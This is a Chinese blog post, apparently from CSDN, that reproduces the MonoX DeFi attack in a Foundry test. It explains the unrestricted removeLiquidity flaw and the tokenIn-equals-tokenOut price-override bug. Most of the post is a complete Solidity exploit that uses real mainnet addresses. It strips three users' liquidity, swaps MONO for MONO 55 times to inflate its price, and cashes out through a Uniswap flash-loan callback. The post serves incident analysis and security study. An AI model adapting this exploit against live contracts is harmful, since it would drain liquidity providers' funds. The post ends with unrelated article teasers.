Defi安全-Monox攻击事件Foundry复现
其它相关内容可见个人主页
Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalcon+etherscan
1. 前情提要和思路介绍
Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代币的兑换
主要的漏洞有两个方面:
- 可以在Monox官网查看提供代币流动性的用户地址,但是每个用户的流动性,任意的用户都可以调用移除流动性函数,进行流动性的移除。
- 在Monoswap的代币交换函数中,并未考虑
tokenIn
和tokenOut
相等的情况,代码逻辑处理的时候,出现价格覆盖的情况,Mono代币价格异常抬升,具体可见相关攻击实现的分析。
2. Foundry复现攻击流程
foundry进行外部合约调用的时候,用interface定义相应的方法,并定义对应合约的地址,实现外部合约的调用(觉得比较好的方式)
pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";interface IERC20 {function balanceOf(address owner) external view returns (uint256);function approve(address spender, uint256 value) external returns (bool);function transfer(address to, uint256 value) external returns (bool);function deposit() external payable;
}interface IuniswapV2pair {function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}interface IMonoswap {function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut);function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity);function swapExactTokenForToken(address tokenIn,address tokenOut,uint amountIn,uint amountOutMin,address to,uint deadline) external returns (uint amountOut);function swapTokenForExactToken(address tokenIn,address tokenOut,uint256 amountInMax,uint256 amountOut,address to,uint256 deadline) external returns (uint256 amountIn);function pools(address)externalviewreturns (uint256 pid,uint256 lastPoolValue,address token,uint8 status,uint112 vcashDebt,uint112 vcashCredit,uint112 tokenBalance,uint256 price,uint256 createdAt);
}interface IMonoXPool {function totalSupplyOf(uint256 pid) external returns (uint256);function balanceOf(address account, uint256 id) external returns (uint256);
}address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
攻击代码
调用forge进行测试
forge test --match-contract test_Monox -vv
结果:
contract test_Monox is Test{function setUp() public {vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025);}//首先folk以太坊上对应区块的状态function test_Monox_exploit() public {IERC20(Mono).approve(address(Monoswap), type(uint256).max);IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();console.log("WETH balance: ", IERC20(weth).balanceOf(address(this)));IERC20(weth).approve(address(Monoswap), 0.1 ether);//在进行对应的代币转移的时候,一定要记得先进行approve操作IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872);console.log("Mono balance: ", IERC20(Mono).balanceOf(address(this)));//提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作remove_liquidity_user();uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this));console.log("attacker gain liquidity: ", liquidity);//攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备raise_mono_price();swap_mono_for_weth();//将对应高价格的mono代币置换成weth}function remove_liquidity_user() public {(uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono));uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid);console.log("pid: ", pid);console.log("monoXpool's mono balance: ", balance);uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1);//漏洞函数,根据phalcon的调用序列,移除对应用户的流动性uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid);console.log("monoXpool's mono balance after remove liquidity", balance_afterremove);}function raise_mono_price() public {for(uint i = 0 ; i < 55 ; i++){(uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono));uint balance = IERC20(Mono).balanceOf(address(this));IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);console.log("Mono token Price - ",i,": ", price);}//按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken}function swap_mono_for_weth() public {uint weth_balance = IERC20(weth).balanceOf(address(this));console.log("attacker weth balance: ", weth_balance);uint mono_balance = IERC20(Mono).balanceOf(address(this));console.log("attacker mono balance: ", mono_balance);IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00");//闪电贷,借贷weth和usdc的pair对uint weth_balance2 = IERC20(weth).balanceOf(address(this));console.log("attacker weth balance: ", weth_balance2 - weth_balance);uint mono_balance2 = IERC20(Mono).balanceOf(address(this));console.log("attacker mono balance: ", mono_balance - mono_balance2);}function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{uint balance = IERC20(Mono).balanceOf(address(this));IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);require(success);//在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。}function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));// a = 0xf23a6e61return a;}//在添加流动性的时候,会回调对应的函数,否则会报错
}
攻击poc如果没有定义相应的的onERC1155Received,则在流动性生成时会报错,如下图所示:
相关文章:
Defi安全-Monox攻击事件Foundry复现
其它相关内容可见个人主页 Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalconetherscan 1. 前情提要和思路介绍 Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代…...
大二上总结和寒假计划
👂 Start Again - Connor Price/Chloe Sagum - 单曲 - 网易云音乐 👂 年年 - 徐秉龙 - 单曲 - 网易云音乐 目录 🌼前言 👊成长 (1)情感 (2)运动 (3)穿搭…...
使用 pdfh5 实现 pdf 预览功能
1. 安装 npm install pdfh5 2. 使用 html部分: <div id"showPdf" style"width: 100%;"></div> js部分: <script> //合同展示组件 import Pdfh5 from pdfh5 //合同组件样式 import pdfh5/css/pdfh5.css expo…...
HttpRunner辅助函数debugtalk.py
辅助函数debugtalk.py Httprunner框架中,使用yaml或json文件进行用例描述,无法做一些复杂操作,如保存一些数据跨文件调用,或者实现一些复杂逻辑判断等,为了解决这个问题,引入了debugtalk.py辅助函数来进行一…...
PC端扫描小程序二维码登录
1、获取二维码地址,通过请求微信开发者文档中的服务端获取无限制小程序二维码URL #controller层 import org.apache.commons.codec.binary.Base64;/*** 获取小程序二维码*/PassTokenGetMapping("/getQrCode")public AjaxResult getQrCode(BlogUserDto bl…...
计算机毕业设计 | SpringBoot+vue移动端音乐网站 音乐播放器(附源码)
1,项目背景 随着计算机技术的发展,网络技术对我们生活和工作显得越来越重要,特别是现在信息高度发达的今天,人们对最新信息的需求和发布迫切的需要及时性。为了满足不同人们对网络需求,各种特色,各种主题的…...
Flutter 中的 Stream:异步编程的利器
在Flutter中,异步编程是非常重要的一部分,特别是在处理用户输入、网络请求或其他涉及时间的操作时。Flutter提供了一种强大的工具,称为Stream,用于简化异步编程的过程。 什么是 Stream? Stream是一种用于处理异步数据…...
2023 波卡年度报告选读:Polkadot SDK 与开发者社区
原文:https://dashboards.data.paritytech.io/reports/2023/index.html#section6 编译:OneBlock 编者注:Parity 数据团队发布的 2023 年 Polkadot 年度数据报告,对推动生态系统的关键数据进行了深入分析。报告全文较长ÿ…...
深入了解Go语言中的unsafe.Sizeof():探究变量与数据类型的内存占用
当涉及到在 Go 语言中确定变量或数据类型所占用的内存空间大小时,unsafe 包中的 Sizeof() 函数成为了一个强有力的工具。它可以用来获取变量或数据类型所占用的字节数,但需要注意的是,它不考虑内存对齐和填充的情况。因此,在使用 …...
安卓上使用免费的地图OpenStreetMap
前一段使用了微信的地图,非常的好用。但是存在的问题是海外无法使用,出国就不能用了; 其实国内三家:百度,高德,微信都是一样的问题,当涉及到商业使用的时候需要付费; 国外除了谷歌…...
基于Java SSM框架实现时间管理系统项目【项目源码+论文说明】
基于java的SSM框架实现时间管理系统演示 摘要 随着科学技术的飞速发展,各行各业都在努力与现代先进技术接轨,通过科技手段提高自身的优势;对于时间管理系统当然也不能排除在外,随着网络技术的不断成熟,带动了时间管理…...
Mac安装upx及不同os计算md5值
Mac安装upx 最近需要将exe文件打包到pod内部,为了减少包占用磁盘空间,需要借用upx对windows exe文件进行压缩。 1 概念:压缩工具 UPX 全称是 “Ultimate Packer for eXecutables”,是一个免费、开源、编写、可扩展、高性能的可执行…...
Qt/C++编写视频监控系统82-自定义音柱显示
一、前言 通过音柱控件实时展示当前播放的声音产生的振幅的大小,得益于音频播放组件内置了音频振幅的计算,可以动态开启和关闭,开启后会对发送过来的要播放的声音数据,进行运算得到当前这个音频数据的振幅,类似于分贝…...
SpringBoot 如何 配置端口号
结论 server:port: 8088演示 [Ref] 快速构建SpringBoot项目...
跟随chatgpt从零开始安装git(Windows系统)
为什么我们要安装Git?Git有什么用? 1. 版本控制:Git 可以追踪代码的所有变化,记录每个提交的差异,使您能够轻松地回溯到任何历史版本或比较不同版本之间的差异。 2. 分支管理:通过 Git 的分支功能ÿ…...
C++类与对象基础(6)
(注:本篇文章介绍部分内容时,需要用到上盘文章中日期类的代码,文章链接如下:C类与对象基础(5)——日期类的实现-CSDN博客) 目录 1. 运算符重载的相关补充: 1.1流运算符重载出现的问题&#x…...
OS_lab——分页机制与内存管理
认真阅读章节资料,掌握什么是分页机制 调试代码,掌握分页机制基本方法与思路 代码pmtest6.asm中,212行~237行,设置断点调试这几个循环,分析究竟在这里做了什么 掌握PDE,PTE的计算方法 动手画一画这个映…...
【面试】Redis基础知识
题目 为什么Redis是单线程却性能很高? Redis是一个高性能的基于内存的键值存储系统。它之所以能够达到高性能,主要有以下几个原因: 基于内存:Redis将数据存储在内存中,而不是硬盘上,这使得数据的读写速度…...
CentOS 9 (stream) 安装 Docker
1. Docker 简介 Docker 是一个开源的容器化平台,可帮助开发者轻松地创建、部署和运行应用程序。Docker 使开发人员能够在一个独立的容器中打包应用程序及其依赖项,这样他们就可以轻松地将应用程序移植到任何其他环境中。 Docker 主要由以下几个组件组成…...
vite中配置服务代理
前言 在vite中配置服务代理和webpack中大差不差,不过有些写法会有些不同 具体配置:配置 Vite {#configuring-vite} | Vite中文网 这里我写了一个demo,如下所示 开启node服务 我用express启动了一个服务,分别暴露两个接口 进行相关配置 在vite.config.ts文件中进行配置 e…...
kotlin 中 any, all , none
any 如果至少有一个元素匹配给定谓词,那么 any() 返回 true。 all 如果没有元素与给定谓词匹配,那么 none() 返回 true。 none 如果所有元素都匹配给定谓词,那么 all() 返回 true。 请注意,在一个空集合上使用任何有效的谓词去…...
如何使用 Python、Node.js 和 Go 创建基于 YOLOv8 的对象检测 Web 服务
1. 介绍 这是有关 YOLOv8 系列文章的第二篇。在上一篇文章中我们介绍了YOLOv8以及如何使用它,然后展示了如何使用 Python 和基于 PyTorch 的官方 YOLOv8 库创建一个 Web 服务来检测图像上的对象。 在本文中,将展示如何在不需要PyTorch和官方API的情况下…...
pod节点jar包替换流程
1、查找到该docker容器 docker ps | grep backend # ./entrypoint.sh文件启动的那个容器2、替换jar 包 mv xxx.jar app.jar docker cp app.jar 66bc6fea9fb5:/home/aimind/3、重启容器 docker restart 66bc6fea9fb5 4、重启容器后进行功能验证 功能验证没问题了,再…...
Pytorch:torch.nn.Module
torch.nn.Module 是 PyTorch 中神经网络模型的基类,它提供了模型定义、参数管理和其他相关功能。 以下是关于 torch.nn.Module 的详细说明: 1. torch.nn.Module 的定义: torch.nn.Module 是 PyTorch 中所有神经网络模型的基类,…...
传统图像处理学习笔记更新中
文章目录 传统图像处理颜色空间高斯滤波腐蚀和膨胀开运算和闭运算如何求一张图片的均值?线性插值双线性插值仿射变换透视变换常见的边缘检测算子Sobel 算法Canny 算法Hough 变换原理(直线和圆检测)找轮廓(findCountours)单应性(homography)原理...
Hyperledger Fabric Java App Demo
编写一个应用程序来连接到 fabrc 网络中,通过调用智能合约来访问账本. fabric gateway fabric gateway 有两个项目,一个是 fabric-gateway-java , 一个是 fabric-gateway。 fabric-gateway-java 是比较早的项目,使用起来较为麻烦需要提供一…...
Doris 在工商信息商业查询平台的湖仓一体建设实践(02)
信息服务行业可以提供多样化、便捷、高效、安全的信息化服务,为个人及商业决策提供了重要支撑与参考。本文以某工商信息商业查询平台为例,介绍其从传统 Lambda 架构到基于 Doris Multi-Catalog 的湖仓一体架构演进历程。同时通过一系列实践,展示了如何保证数据的准确性和实时…...
218.【2023年华为OD机试真题(C卷)】攀登者2(动态规划-JavaPythonC++JS实现)
🚀点击这里可直接跳转到本专栏,可查阅顶置最新的华为OD机试宝典~ 本专栏所有题目均包含优质解题思路,高质量解题代码(Java&Python&C++&JS分别实现),详细代码讲解,助你深入学习,深度掌握! 文章目录 一. 题目-攀登者2二.解题思路三.题解代码Python题解代码…...
【精通C语言】:分支结构switch语句的灵活运用
🎥 屿小夏 : 个人主页 🔥个人专栏 : C语言详解 🌄 莫道桑榆晚,为霞尚满天! 文章目录 📑前言一、switch语句1.1 语法1.2 代码示例 二、switch的控制语句2.1 break2.2 defualt子句 三、…...
数据结构和算法-数据结构的基本概念和三要素和数据类型和抽象数据类型
文章目录 总览数据结构的基本概念总览数据早期和现代的计算机处理的数据数据元素-描述一个个体数据对象-一类数据元素什么是数据结构小结 数据结构的三要素总览逻辑结构-集合结构逻辑结构-线性结构逻辑结构-树形结构逻辑结构-图形结构逻辑结构-小结数据的运算物理结构ÿ…...
企业网站备案还是不用备案/晚上看b站
链接:https://ac.nowcoder.com/acm/contest/699/F来源:牛客网 题目描述 从前有个小哥哥Bill非常喜欢编程,但是让他更加心动的是班上那位小姐姐,为了取得小姐姐的欢心,Bill每天刷acm题,只想着找一个机会大发…...
python线上课程哪个好/aso搜索优化
2019独角兽企业重金招聘Python工程师标准>>> 可见性 在一个单线程程序中,如果向一个变量先写入值,然后在没有写干涉的情况下读取这个变量,会得到相同的返回值。但是当读和写发生在不同的线程中时,就不能保证读线程及时…...
手把手教你学网站建设/网站收录量
原文:http://www.coolketang.com/staticCoding/5a992425128fe1189bdbc7c4.html 1. 本节课将以二维数组为例,演示多维数组的定义和遍历。 2. 首先创建第一个数组,该数组拥有三个整型元素。 3. 接着创建第二个数组,该数组拥有四个整…...
flash学习网站/网站优化排名公司
其实很多人都知道求职市场对大龄程序员不“友好”,在其他行业,年龄越大意味着经验越丰富,也会收到用人单位的争抢。君不见,公司里头发花白的人,往往是专家级别的人才,但为何到了程序员这一行业,…...
代做网站app/网络推广专员岗位职责
寻找瓶颈1>安插自己的测试代码插入下述“显式”计时代码,对程序进行评测:long start System.currentTimeMillis();//要计时的运算代码放在这儿long time System.currentTimeMillis() - start;可用一个“静态最终布尔值”(Static final boolean)打…...
什么是经营性网站备案/个人优秀网页设计
最近在用eclipse做项目,新建项目时什么都贪新,用最新的版本,在Dynamic web module version栏里选了最新的3.0版本,布署项目的时候就出现了如期的错误,在网上看到http://hi.baidu.com/yolanda441/b ... 41d36dd1164e2e.…...